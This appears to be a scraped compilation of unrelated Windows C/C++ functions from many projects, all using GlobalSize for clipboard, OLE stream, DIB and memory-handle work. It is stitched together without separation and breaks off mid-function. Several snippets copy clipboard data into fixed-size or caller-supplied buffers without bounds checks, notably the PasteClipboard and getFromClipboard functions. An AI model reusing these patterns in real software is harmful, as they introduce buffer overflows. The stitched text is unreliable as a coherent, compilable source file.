// WriteDIB - Writes a DIB to file
// Returns - TRUE on success
// szFile - Name of file to write to
// hDIB - Handle of the DIB
BOOL CClientCapture::WriteDIB( CString csFile)
{
BITMAPFILEHEADER hdr;
LPBITMAPINFOHEADER lpbi;
if (!hDIB)
return FALSE;
CFile file;
if( !file.Open( csFile, CFile::modeWrite|CFile::modeCreate) )
return FALSE;
lpbi = (LPBITMAPINFOHEADER)hDIB;
int nColors = 1 << lpbi->biBitCount;
if( nColors > 256 )
nColors = 0;
// Fill in the fields of the file header
hdr.bfType = ((WORD) ('M' << 8) | 'B'); // is always "BM"
hdr.bfSize = GlobalSize (hDIB) + sizeof( hdr );
hdr.bfReserved1 = 0;
hdr.bfReserved2 = 0;
hdr.bfOffBits = (DWORD) (sizeof( hdr ) + lpbi->biSize +
nColors * sizeof(RGBQUAD));
// Write the file header
file.Write( &hdr, sizeof(hdr) );
// Write the DIB header and the bits
file.Write( lpbi, GlobalSize(hDIB) );
return TRUE;
}
void CSemanticStrView::PasteClipboard()
{
OpenClipboard();
HGLOBAL hMem = ::GetClipboardData(CF_UNICODETEXT );
if (!hMem) {
CloseClipboard();
return;
}
wchar_t s [5000];
if ( GlobalSize(hMem) > 4999)
{
AfxMessageBox (" Text is too big!");
};
CopyMemory( s, hMem, GlobalSize(hMem));
s[GlobalSize(hMem)] = 0;
CString Q = s;
char cmd[5200];
strcpy (cmd, "$main.controls.mainEntry insert 0.0 \"");
for (size_t i=0; i < Q.GetLength();i++)
if (s[i] == '"')
strcat (cmd, "\\\"");
else
{ size_t l = strlen(cmd);
cmd[l] = Q[i];
cmd[l+1] = 0; };
strcat (cmd, "\"");
if (Tcl_Eval(theInterp,cmd)!=0)
AfxMessageBox ("Cannot set value");
CloseClipboard();
}
/*
================
Sys_GetClipboardData
================
*/
char *Sys_GetClipboardData( clipboard_t clip )
{
char *data = NULL;
char *cliptext;
if ( OpenClipboard( NULL ) != 0 )
{
HANDLE hClipboardData;
if ( ( hClipboardData = GetClipboardData( CF_TEXT ) ) != 0 )
{
if ( ( cliptext = GlobalLock( hClipboardData ) ) != 0 )
{
data = Z_Malloc( GlobalSize( hClipboardData ) + 1 );
Q_strncpyz( data, cliptext, GlobalSize( hClipboardData ) );
GlobalUnlock( hClipboardData );
strtok( data, "\n\r\b" );
}
}
CloseClipboard();
}
return data;
}
void COleClipSource::DoUpperLowerCase(CClip &clip, bool upper)
{
IClipFormat *unicodeTextFormat = clip.m_Formats.FindFormatEx(CF_UNICODETEXT);
if (unicodeTextFormat != NULL)
{
HGLOBAL data = unicodeTextFormat->Data();
wchar_t * stringData = (wchar_t *) GlobalLock(data);
int size = (int) GlobalSize(data);
CString cs(stringData);
GlobalUnlock(data);
//free the old text we are going to replace it below with an upper case version
unicodeTextFormat->Free();
CString val;
if (upper)
{
val = cs.MakeUpper();
}
else
{
val = cs.MakeLower();
}
long lLen = val.GetLength();
HGLOBAL hGlobal = NewGlobalP(val.GetBuffer(), ((lLen+1) * sizeof(wchar_t)));
val.ReleaseBuffer();
unicodeTextFormat->Data(hGlobal);
}
IClipFormat *asciiTextFormat = clip.m_Formats.FindFormatEx(CF_TEXT);
if (asciiTextFormat != NULL)
{
HGLOBAL data = asciiTextFormat->Data();
char * stringData = (char *) GlobalLock(data);
int size = (int) GlobalSize(data);
CStringA cs(stringData);
GlobalUnlock(data);
//free the old text we are going to replace it below with an upper case version
asciiTextFormat->Free();
CString val;
if (upper)
{
val = cs.MakeUpper();
}
else
{
val = cs.MakeLower();
}
long lLen = val.GetLength();
HGLOBAL hGlobal = NewGlobalP(val.GetBuffer(lLen), lLen + sizeof(char));
val.ReleaseBuffer();
asciiTextFormat->Data(hGlobal);
}
}
static void
win_pr2_copy_check(gx_device_win_pr2 * wdev)
{
HGLOBAL hdevmode = wdev->win32_hdevmode;
HGLOBAL hdevnames = wdev->win32_hdevnames;
DWORD devmode_len = (hdevmode) ? GlobalSize(hdevmode) : 0;
DWORD devnames_len = (hdevnames) ? GlobalSize(hdevnames) : 0;
if (wdev->original_device == wdev)
return;
wdev->hdcprn = NULL;
wdev->win32_hdevmode = NULL;
wdev->win32_hdevnames = NULL;
wdev->original_device = wdev;
if (devmode_len) {
wdev->win32_hdevmode = GlobalAlloc(0, devmode_len);
if (wdev->win32_hdevmode) {
memcpy(GlobalLock(wdev->win32_hdevmode), GlobalLock(hdevmode), devmode_len);
GlobalUnlock(wdev->win32_hdevmode);
GlobalUnlock(hdevmode);
}
}
if (devnames_len) {
wdev->win32_hdevnames = GlobalAlloc(0, devnames_len);
if (wdev->win32_hdevnames) {
memcpy(GlobalLock(wdev->win32_hdevnames), GlobalLock(hdevnames), devnames_len);
GlobalUnlock(wdev->win32_hdevnames);
GlobalUnlock(hdevnames);
}
}
}
//see Q160957 and http://developer.netscape.com/docs/manuals/communicator/DDE/index.htm
static void GetOpenBrowserUrlsForBrowser(const char *szBrowser, HWND hwndDlg, HWND hwndCombo)
{
int windowCount, i;
DWORD *windowId;
DWORD dwResult;
ATOM hSzBrowser = GlobalAddAtomA(szBrowser);
ATOM hSzTopic = GlobalAddAtomA("WWW_ListWindows");
ddeAcked = 0;
if ( !SendMessageTimeout(HWND_BROADCAST, WM_DDE_INITIATE, (WPARAM)hwndDlg, MAKELPARAM(hSzBrowser, hSzTopic), SMTO_ABORTIFHUNG|SMTO_NORMAL, DDEMESSAGETIMEOUT, (PDWORD_PTR)&dwResult)
|| !ddeAcked) {
GlobalDeleteAtom(hSzTopic);
GlobalDeleteAtom(hSzBrowser);
return;
}
HGLOBAL hData = DoDdeRequest("WWW_ListWindows", hwndDlg);
if (hData == NULL) {
GlobalDeleteAtom(hSzTopic);
GlobalDeleteAtom(hSzBrowser);
return;
}
int dataLength = GlobalSize(hData)-offsetof(DDEDATA, Value);
DDEDATA *data = (DDEDATA*)GlobalLock(hData);
windowCount = dataLength / sizeof(DWORD);
windowId = (PDWORD)mir_alloc(sizeof(DWORD)*windowCount);
memcpy(windowId, data->Value, windowCount*sizeof(DWORD));
GlobalUnlock(hData);
FreeDdeRequestData(hData);
PostMessage(hwndDde, WM_DDE_TERMINATE, (WPARAM)hwndDlg, 0);
GlobalDeleteAtom(hSzTopic);
hSzTopic = GlobalAddAtomA("WWW_GetWindowInfo");
ddeAcked = 0;
if ( !SendMessageTimeout(HWND_BROADCAST, WM_DDE_INITIATE, (WPARAM)hwndDlg, MAKELPARAM(hSzBrowser, hSzTopic), SMTO_ABORTIFHUNG|SMTO_NORMAL, DDEMESSAGETIMEOUT, (PDWORD_PTR)&dwResult)
|| !ddeAcked) {
GlobalDeleteAtom(hSzTopic);
GlobalDeleteAtom(hSzBrowser);
mir_free(windowId);
return;
}
for (i=0;i<windowCount;i++) {
if (windowId[i] == 0) break;
{ char str[16];
mir_snprintf(str, _countof(str), "%d", windowId[i]);
hData = DoDdeRequest(str, hwndDlg);
}
if (hData != NULL) {
dataLength = GlobalSize(hData)-offsetof(DDEDATA, Value);
data = (DDEDATA*)GlobalLock(hData);
AddBrowserPageToCombo((char*)data->Value, hwndCombo);
GlobalUnlock(hData);
FreeDdeRequestData(hData);
}
}
PostMessage(hwndDde, WM_DDE_TERMINATE, (WPARAM)hwndDlg, 0);
GlobalDeleteAtom(hSzTopic);
GlobalDeleteAtom(hSzBrowser);
mir_free(windowId);
}
void TABLE::tPaste()
{
if(TABLE_ATTRIBUTES::AutoFill())
return;
BOOL available = IsClipboardFormatAvailable(CF_TEXT);
if(!available)
return;
DestroyAllEditControls();
OpenClipboard(hParentWnd);
HGLOBAL hClipboard = GetClipboardData(CF_TEXT);
if(!hClipboard)
{
CloseClipboard();
return;
}
HGLOBAL hCopy = GlobalAlloc(GHND, GlobalSize(hClipboard));
if(!hCopy)
{
CloseClipboard();
return;
}
char* copy = (char*)GlobalLock(hCopy);
char* clip = (char*)GlobalLock(hClipboard);
hmemcpy(copy, clip, GlobalSize(hClipboard));
GlobalUnlock(hClipboard);
CloseClipboard();
RUNTIMEINFO* rtime = (RUNTIMEINFO*)AObjGetRuntimeInfo(theObject);
ROW* row = rtime->GetRow();
long first = row->FirstSelection();
char* token = (char*)myStrtok((char huge*)copy);
while(token)
{
row->AddRow(first, token, TABLE_ATTRIBUTES::NumColumns(), FALSE);
token = (char*)myStrtok(NULL);
first++;
}
GlobalUnlock(hCopy);
GlobalFree(hCopy);
row->DeleteSelectedRows();
PostObjectChanged(CHANGED_NUMROWS);
}
void winclipreceive(void)
{
HGLOBAL rmem;
wchar_t *rptr;
int i, rlen;
if(OpenClipboard(NULL)) {
rmem = GetClipboardData(CF_UNICODETEXT);
if (rmem && (rptr = GlobalLock(rmem))) {
rlen = GlobalSize(rmem) / sizeof(wchar_t);
for (i=0; i < rlen; i++) {
if (rptr[i] == '\0')
break;
else if (rptr[i] == '\r' || rptr[i] == '\n')
continue;
else if (rptr[i] == '\b' || rptr[i] == '\t')
continue;
else if (rptr[i] != 27)
gli_input_handle_key(rptr[i]);
}
GlobalUnlock(rmem);
}
CloseClipboard();
}
}
STDMETHODIMP QOleDataObject::GetDataHere( FORMATETC *pformatetc, STGMEDIUM *pmedium )
{
// is data is in our format?
HRESULT hr = QueryGetData( pformatetc );
if ( hr != S_OK )
return hr;
if ( pmedium->tymed != TYMED_HGLOBAL )
return DV_E_TYMED;
if ( !pmedium->hGlobal )
return STG_E_MEDIUMFULL;
HGLOBAL hGlobal = pmedium->hGlobal;
uint size = GlobalSize( hGlobal );
int cf = pformatetc->cfFormat;
QPtrList<QWindowsMime> all = QWindowsMime::all();
for ( QWindowsMime * c = all.first(); c ; c = all.next() ) {
const char * mime = c->mimeFor( cf );
if ( mime && m_dragObj->provides( mime ) ) {
QByteArray ba = m_dragObj->encodedData( mime );
if ( ba.size() > size )
return STG_E_MEDIUMFULL;
memcpy ( GlobalLock ( hGlobal ), ba.data(), ba.size() );
GlobalUnlock ( hGlobal );
return S_OK;
}
}
return E_UNEXPECTED;
}
bool CModDoc::PasteEnvelope(INSTRUMENTINDEX nIns, EnvelopeType nEnv)
//----------------------------------------------------------------------
{
CMainFrame *pMainFrm = CMainFrame::GetMainFrame();
if (nIns < 1 || nIns > m_SndFile.m_nInstruments || !m_SndFile.Instruments[nIns] || !pMainFrm) return false;
BeginWaitCursor();
if (!pMainFrm->OpenClipboard())
{
EndWaitCursor();
return false;
}
HGLOBAL hCpy = ::GetClipboardData(CF_TEXT);
LPCSTR p;
bool result = false;
if ((hCpy) && ((p = (LPSTR)GlobalLock(hCpy)) != nullptr))
{
std::string data(p, p + GlobalSize(hCpy));
GlobalUnlock(hCpy);
CloseClipboard();
result = StringToEnvelope(data, m_SndFile.Instruments[nIns]->GetEnvelope(nEnv), m_SndFile.GetModSpecifications());
}
EndWaitCursor();
return result;
}
BOOL CDownloadDlg::OnInitDialog()
{
CSkinDialog::OnInitDialog();
SkinMe( NULL, IDR_DOWNLOADSFRAME );
if ( OpenClipboard() )
{
if ( HGLOBAL hData = GetClipboardData( CF_UNICODETEXT ) )
{
size_t nData = GlobalSize( hData );
LPVOID pData = GlobalLock( hData );
LPTSTR pszData = m_sURL.GetBuffer( (int)( nData + 1 ) / 2 + 1 );
CopyMemory( pszData, pData, nData );
pszData[ ( nData + 1 ) / 2 ] = 0;
m_sURL.ReleaseBuffer();
GlobalUnlock( hData );
}
CloseClipboard();
}
m_sURL.Trim( _T(" \t\r\n") );
CShareazaURL pURL;
if ( !pURL.Parse( m_sURL, m_pURLs ) )
m_sURL.Empty();
UpdateData( FALSE );
OnChangeURL();
return TRUE;
}
bool CMemFileAccessor::CopyFromClipBroad(UINT ClipFormat)
{
if(OpenClipboard(NULL))
{
HGLOBAL hClip=NULL;
if( hClip=GetClipboardData(ClipFormat) )
{
char *pBuff = (char *)GlobalLock(hClip);
if(pBuff)
{
SAFE_DELETE_ARRAY(m_Buffer);
m_BufferSize=GlobalSize(hClip);
m_DataPtr=0;
m_WriteSize=0;
m_Buffer=new char[m_BufferSize];
memcpy(m_Buffer,pBuff,m_BufferSize);
GlobalUnlock(hClip);
CloseClipboard();
return true;
}
}
CloseClipboard();
}
return false;
}
/******************************************************************************
* BIGBLOCKFILE_MemInit
*
* Initialize a big block object supported by an ILockBytes on HGLOABL.
*/
static BOOL BIGBLOCKFILE_MemInit(LPBIGBLOCKFILE This, ILockBytes* plkbyt)
{
This->hfile = 0;
This->hfilemap = 0;
/*
* Retrieve the handle to the byte array from the LockByte object.
*/
if (GetHGlobalFromILockBytes(plkbyt, &(This->hbytearray)) != S_OK)
{
FIXME("May not be an ILockBytes on HGLOBAL\n");
return FALSE;
}
This->pLkbyt = plkbyt;
/*
* Increment the reference count of the ILockByte object since
* we're keeping a reference to it.
*/
ILockBytes_AddRef(This->pLkbyt);
This->filesize.u.LowPart = GlobalSize(This->hbytearray);
This->filesize.u.HighPart = 0;
This->pbytearray = GlobalLock(This->hbytearray);
TRACE("mem on %p len %u\n", This->pbytearray, This->filesize.u.LowPart);
return TRUE;
}
tdata_t
_TIFFrealloc(tdata_t p, tsize_t s)
{
void *pvTmp;
tsize_t old;
if (p == NULL)
return ((tdata_t)GlobalAlloc(GMEM_FIXED, s));
old = GlobalSize(p);
if (old >= s)
{
if ((pvTmp = GlobalAlloc(GMEM_FIXED, s)) != NULL)
{
CopyMemory(pvTmp, p, s);
GlobalFree(p);
}
}
else
{
if ((pvTmp = GlobalAlloc(GMEM_FIXED, s)) != NULL)
{
CopyMemory(pvTmp, p, old);
GlobalFree(p);
}
}
return ((tdata_t)pvTmp);
}
String SystemClipboard::getTextFromClipboard()
{
String result;
if (OpenClipboard (0) != 0)
{
HANDLE bufH = GetClipboardData (CF_UNICODETEXT);
if (bufH != 0)
{
const WCHAR* const data = (const WCHAR*) GlobalLock (bufH);
if (data != nullptr)
{
result = String (data, (int) (GlobalSize (bufH) / sizeof (WCHAR)));
GlobalUnlock (bufH);
}
}
CloseClipboard();
}
return result;
}
HGLOBAL
GlobalFreeP(
HGLOBAL hglbMem
)
{
HGLOBAL hReturn;
DWORD dwSize;
// get size of block before freeing it
dwSize = (DWORD) GlobalSize(hglbMem);
if (dwSize > 0)
{
// size was obtained OK so free the block
hReturn = GlobalFree(hglbMem);
if (hReturn == NULL)
{
// memory was freed
if (pAppData != NULL)
{
// update call count
pAppData->dwFreeCalls ++;
pAppData->dwApplicationBytes -= dwSize;
}
}
else
{
// memory was not freed so don't change data
}
}
else
{
// unable to read memory size
}
return hReturn;
}
void CScreenManager::SendLocalClipboard()
{
if (!::OpenClipboard(NULL))
{
return;
}
HGLOBAL hglb = GetClipboardData(CF_TEXT);
if (!hglb)
{
::CloseClipboard();
return;
}
int nPacketLen = (int)GlobalSize(hglb) + 1;
LPBYTE lpData = new(std::nothrow) BYTE[nPacketLen];
if (!lpData)
{
return;
}
LPSTR lpstr = (LPSTR)GlobalLock(hglb);
lpData[0] = TOKEN_CLIPBOARD_TEXT;
memcpy(lpData + 1, lpstr, nPacketLen - 1);
::GlobalUnlock(hglb);
::CloseClipboard();
Send(lpData, nPacketLen);
delete[] lpData;
}
PLUGINFUNCTIONEND
PLUGINFUNCTIONSHORT(Copy)
{
int size = 0;
HANDLE source, dest;
char *str;
// Get the string
if ((str = system_popstring()) == NULL) return;
// Check for size option
if (str[0] == '/')
{
size = (int) myatoi64(str+1);
dest = (HANDLE) popint64();
}
else dest = (HANDLE) myatoi64(str);
source = (HANDLE) popint64();
// Ok, check the size
if (size == 0) size = (int) GlobalSize(source);
// and the destinantion
if ((int) dest == 0)
{
dest = GlobalAlloc((GPTR), size);
system_pushint((int) dest);
}
// COPY!
copymem(dest, source, size);
GlobalFree(str);
}
HRESULT
CSite::HrStreamToFile(LPSTREAM pStream, LPCTSTR fileName)
{
HRESULT hr = S_OK;
HGLOBAL hMem = NULL;
LPVOID memBuf = NULL;
DWORD memSize = 0;
CFile file;
if (file.Open(fileName, CFile::modeCreate | CFile::modeReadWrite, NULL) == FALSE)
return E_FAIL;
hr = GetHGlobalFromStream(pStream, &hMem);
ASSERT(SUCCEEDED(hr));
memSize = GlobalSize(hMem);
VERIFY(memBuf = GlobalLock(hMem));
file.Write(memBuf, memSize);
// Reference count of hMem not checked here
// since we can't assume how many times the
// Stream has locked it
GlobalUnlock(hMem);
file.Close();
return hr;
}
size_t WSizeBuffer(LPSTR ptr)
{
HANDLE hand;
hand = GlobalPtrHandle(ptr);
return GlobalSize(hand);
}
bool UClipBoard::getFromClipboard(TCHAR *buf)
{
if (OpenClipboard (0) != 0)
{
HANDLE bufH = GetClipboardData (CF_TEXT);
if (bufH != 0)
{
const char* const data = (const char*) GlobalLock (bufH);
if (data != 0)
{
::memcpy(buf, data, (int) (GlobalSize (bufH) / sizeof(char)));
GlobalUnlock (bufH);
}
}
CloseClipboard();
}
return false;
}
// @return INFO::OK iff text has been assigned a pointer (which the
// caller must free via sys_clipboard_free) to the clipboard text.
static Status GetClipboardText(wchar_t*& text)
{
// NB: Windows NT/2000+ auto convert CF_UNICODETEXT <-> CF_TEXT.
if(!IsClipboardFormatAvailable(CF_UNICODETEXT))
return INFO::CANNOT_HANDLE;
HGLOBAL hMem = GetClipboardData(CF_UNICODETEXT);
if(!hMem)
WARN_RETURN(ERR::FAIL);
const wchar_t* lockedText = (const wchar_t*)GlobalLock(hMem);
if(!lockedText)
WARN_RETURN(ERR::NO_MEM);
const size_t size = GlobalSize(hMem);
text = (wchar_t*)malloc(size);
if(!text)
WARN_RETURN(ERR::NO_MEM);
wcscpy_s(text, size/sizeof(wchar_t), lockedText);
(void)GlobalUnlock(hMem);
return INFO::OK;
}
STDMETHODIMP GetData (FORMATETC *pFormatEtc, STGMEDIUM *pMedium)
{
oleSetup();
BOOL b = OpenClipboard(gClipboardWND);
if (!b)
return E_FAIL;
HANDLE hData = GetClipboardData(pFormatEtc->cfFormat);
LPVOID src = GlobalLock(hData);
if(src) {
ULONG size = GlobalSize(hData);
HANDLE hDest = GlobalAlloc(GHND, size);
LPVOID dest = GlobalLock(hDest);
memcpy(dest, src, size);
GlobalUnlock(hDest);
GlobalUnlock(hData);
hData = hDest;
}
pMedium->tymed = (hData == 0) ? TYMED_NULL : TYMED_HGLOBAL;
pMedium->hGlobal = (HGLOBAL)hData;
pMedium->pUnkForRelease = NULL;
return S_OK;
}
// getClipboardText(buf, buflen)
static int getClipboardText(LPWSTR buf, int buflen)
{
int filetype = -1;
// CF_UNICODETEXT
HANDLE data = GetClipboardData(CF_UNICODETEXT);
if (data != NULL) {
LPWSTR text = (LPWSTR) GlobalLock(data);
if (text != NULL) {
filetype = FILETYPE_TEXT;
StringCchCopy(buf, buflen, text);
GlobalUnlock(data);
}
}
// CF_DIB
data = GetClipboardData(CF_DIB);
if (data != NULL) {
LPVOID bytes = GlobalLock(data);
if (bytes != NULL) {
SIZE_T nbytes = GlobalSize(data);
filetype = FILETYPE_BITMAP;
StringCchCopy(buf, buflen, MESSAGE_BITMAP);
GlobalUnlock(bytes);
}
}
return filetype;
}
static BOOL ClipboardWriteMemory(HANDLE hFile, DWORD dwFormat, DWORD dwOffset, PDWORD pdwLength)
{
HGLOBAL hData;
LPVOID lpData;
DWORD dwBytesWritten;
hData = GetClipboardData(dwFormat);
if (!hData)
return FALSE;
lpData = GlobalLock(hData);
if (!lpData)
return FALSE;
*pdwLength = GlobalSize(hData);
if (SetFilePointer(hFile, dwOffset, NULL, FILE_BEGIN) == INVALID_SET_FILE_POINTER)
{
GlobalUnlock(hData);
return FALSE;
}
if (!WriteFile(hFile, lpData, *pdwLength, &dwBytesWritten, NULL))
{
GlobalUnlock(hData);
return FALSE;
}
GlobalUnlock(hData);
return TRUE;
}
// exportClipFile(basepath)
static void exportClipFile(LPCWSTR basepath)
{
// CF_UNICODETEXT
HANDLE data = GetClipboardData(CF_UNICODETEXT);
if (data != NULL) {
LPWSTR text = (LPWSTR) GlobalLock(data);
if (text != NULL) {
WCHAR path[MAX_PATH];
StringCchPrintf(path, _countof(path), L"%s.txt", basepath);
setClipboardOrigin(path);
writeTextFile(path, text, wcslen(text));
GlobalUnlock(data);
}
}
// CF_DIB
data = GetClipboardData(CF_DIB);
if (data != NULL) {
LPVOID bytes = GlobalLock(data);
if (bytes != NULL) {
SIZE_T nbytes = GlobalSize(data);
WCHAR path[MAX_PATH];
StringCchPrintf(path, _countof(path), L"%s.bmp", basepath);
setClipboardOrigin(path);
writeBMPFile(path, bytes, nbytes);
GlobalUnlock(bytes);
}
}
}
static HRESULT WINAPI bsc_OnStopBinding(
IBindStatusCallback* iface,
HRESULT hresult,
LPCWSTR szError)
{
bsc_t *This = impl_from_IBindStatusCallback(iface);
HRESULT hr = S_OK;
TRACE("(%p)->(%08x %s)\n", This, hresult, debugstr_w(szError));
if(This->binding) {
IBinding_Release(This->binding);
This->binding = NULL;
}
if(This->obj && SUCCEEDED(hresult)) {
HGLOBAL hglobal;
hr = GetHGlobalFromStream(This->memstream, &hglobal);
if(SUCCEEDED(hr))
{
DWORD len = GlobalSize(hglobal);
char *ptr = GlobalLock(hglobal);
hr = This->onDataAvailable(This->obj, ptr, len);
GlobalUnlock(hglobal);
}
}
return hr;
}
/******************************************************************************
* HGLOBAL_UserSize [OLE32.@]
*/
unsigned long __RPC_USER HGLOBAL_UserSize(unsigned long *pFlags, unsigned long StartingSize, HGLOBAL *phGlobal)
{
unsigned long size = StartingSize;
TRACE("("); dump_user_flags(pFlags); TRACE(", %ld, %p\n", StartingSize, phGlobal);
ALIGN_LENGTH(size, 3);
size += sizeof(ULONG);
if (LOWORD(*pFlags == MSHCTX_INPROC))
size += sizeof(HGLOBAL);
else
{
size += sizeof(ULONG);
if (*phGlobal)
{
SIZE_T ret;
size += 3 * sizeof(ULONG);
ret = GlobalSize(*phGlobal);
size += (unsigned long)ret;
}
}
return size;
}
GXHANDLE GXDLLAPI gxGetClipboardData(
GXUINT uFormat // clipboard format
)
{
#if defined(_WINDOWS) || defined(_WIN32)
HANDLE handle = GetClipboardData((GXUINT)uFormat);
if(handle)
{
LPVOID ptr = GlobalLock(handle);
SIZE_T size = GlobalSize(handle);
if(g_hClipboard) {
gxGlobalFree(g_hClipboard);
}
g_hClipboard = gxGlobalAlloc(NULL, size);
GXLPVOID pNative = gxGlobalLock(g_hClipboard);
memcpy(pNative, ptr, size);
gxGlobalUnlock(g_hClipboard);
GlobalUnlock(handle);
return (GXHANDLE)g_hClipboard;
}
return NULL;
#endif // #if defined(_WINDOWS) || defined(_WIN32)
}
BSTR
GetUnicodeHTML(CComPtr<IHTMLDocument2> spDocument)
{
ATLASSERT(!!spDocument);
BSTR str = 0;
// retrieve IPersistStreamInit interface
CComQIPtr<IPersistStreamInit> persistStream = spDocument;
ATLASSERT(!!persistStream);
// save stream
IStream* stream;
CreateStreamOnHGlobal(NULL, TRUE, &stream);
persistStream->Save(stream, FALSE);
// lock stream memory
HGLOBAL handle;
GetHGlobalFromStream(stream, &handle);
size_t size = GlobalSize(handle);
LPVOID ptr = GlobalLock(handle);
if (size>=2 && ((TCHAR*)ptr)[0]==0xFEFF) // we have her UCS-2LE Unicode little-endian
{
// copy string as is
ATLASSERT(size%2==0);
str = ::SysAllocStringLen(NULL, (ULONG)size>>1);
memcpy(str, ptr, size);
str[size>>1] = 0; // add ending marker
}
